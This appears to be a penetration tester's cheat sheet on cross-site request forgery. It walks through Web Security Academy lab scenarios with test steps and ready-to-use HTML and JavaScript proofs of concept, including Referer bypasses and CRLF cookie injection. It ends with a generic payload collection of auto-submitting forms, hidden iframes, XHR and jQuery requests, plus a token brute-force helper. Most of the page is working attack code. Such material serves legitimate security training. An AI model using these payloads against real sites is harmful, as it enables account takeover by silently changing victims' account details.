Skip to content

CSRF

Scenarios

No Defense

<form method="POST" action="https://ac741ff11f938fe1801459c7009e0090.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>

CSRF where token validation depends on request method

Test

  • Change request method

POC

<img src="https://ac9a1f8f1e76e13f80360e0e009400d7.web-security-academy.net/my-account/change-email?email=test%40myemail.com">

CSRF where token validation depends on token being present

Test

  • Remove token from request and see if it passes

POC

<form method="POST" action="https://ac741ff11f938fe1801459c7009e0090.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>

CSRF where token is not tied to user session

Test

  • Get a fresh csrf token from the update email page via inspecting the source
  • Open a private/incognito browser window, log in to your other account, and intercept the update request
  • replace the csrf token with the one captured earlier

POC

<form method="POST" action="https://ac001fe61f576f3b808b0f7100fd0037.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
    <input type="hidden" name="csrf" value="KdhHWIn09SrZyjySlgfaHCS9TzXB0iss">  
    </form>
    <script>
    document.forms[0].submit();
    </script>

Test

  • changing the session cookie logs you out, but changing the csrfKey cookie merely results in the CSRF token being rejected. This suggests that the csrfKey cookie may not be strictly tied to the session.
  • Observe that if you swap the csrfKey cookie and csrf parameter from the first account to the second account, the request is accepted.
  • search for endpoints that gets reflected in the Set-Cookie header
  • use CRLF injection to inject new cookie

POC

<form method="POST" action="https://aca51fb61ff988aa803fa9cd003f0079.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
    <input type="hidden" name="csrf" value="xe5r3sdRe2Ceizmo4blfpy02UKxpN03k">  
    </form>
    <img src="https://aca51fb61ff988aa803fa9cd003f0079.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=jGDyLoTZDIE2A47Chp2F9MjrjDNHdnHI" onerror="document.forms[0].submit()"> 

Test

  • Check if csrf token is validated against cookie
  • Search for a point where cookie value gets reflected

POC

<form method="POST" action="https://ac951f4f1e9fceda80912065008000ac.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
    <input type="hidden" name="csrf" value="fake">  
    </form>
    <img src="https://ac951f4f1e9fceda80912065008000ac.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()"> 

CSRF where Referer validation depends on header being present

Test

  • Check if the referer header is checked and used as CSRF mitigation

POC

<meta name="referrer" content="no-referrer"> 
<form method="POST" action="https://ac081f091ee034ef802e1dbd00d60000.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
       document.forms[0].submit();
</script>

CSRF with broken Referer validation

Test

  • Does the website seems to accept any Referer header as long as it contains the expected domain somewhere in the string?

POC

<form method="POST" action="https://acc21f351e145baf809bc06c00b30072.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
    </form>
<script>
    history.pushState("", "", "/?acc21f351e145baf809bc06c00b30072.web-security-academy.net");
       document.forms[0].submit();
</script>

CSRF with Unverified Anti-CSRF Token

Another possible scenario is when the application implements strong Anti-CSRF tokens but lacks the verification server-side. This may seem unlikely, but it has occurred!

<form action="change.php" >
<input type="hidden" name="anti_csrf" value="bgoDZVGis4bdsh672388293OrttIvgV">
<input type="hidden" name="old" value="[email protected]">
<input type="email" name="new" placeholder="your new email" required>
<input type="submit" value="Confirm">
</form>

Bruteforcable CSRF tokens

Some applications generates anti-CSRF tokens with an extremely poor level of randomness, therefore, requiring only a few attempts to brute force the mechanism

Payloads

GET Requests

No interaction needed to trigger

via HTML tags

<iframe src=URL>
<script src=URL />
<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL >
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="background:url(URL)">
<style>body { background:url(URL) } </style>

via HTML tags dynamically created by Javascript

function MakeGET(tokenID) {
var url = "http://victim.site/csrf/brute/change.php?";
url += "old=myoldemail&confirm=1&";
url += "new=attackerEmail&csrfToken=" + tokenID;
new Image().src = url; //GET Request
}

POST Requests

Auto-submitting Form

Via Hidden IFrames

<iframe style="display:none" name="CSRFrame"></iframe>
<form action="change.php" method="POST" id="CSRForm" target="CSRFrame">
<input name="old" value="[email protected]">
<input name="new" value="[email protected]">
</form>
<script>document.getElementById("CSRForm").submit()</script>

or XHR requests

var url = "URL";
var params = "[email protected]&[email protected]";
var CSRF = new XMLHttpRequest();
CSRF.open("POST", url, false);
CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
CSRF.send(params);

or via JQuery

$.ajax({
type: "POST",
url: "URL",
data: "[email protected]&[email protected]",
});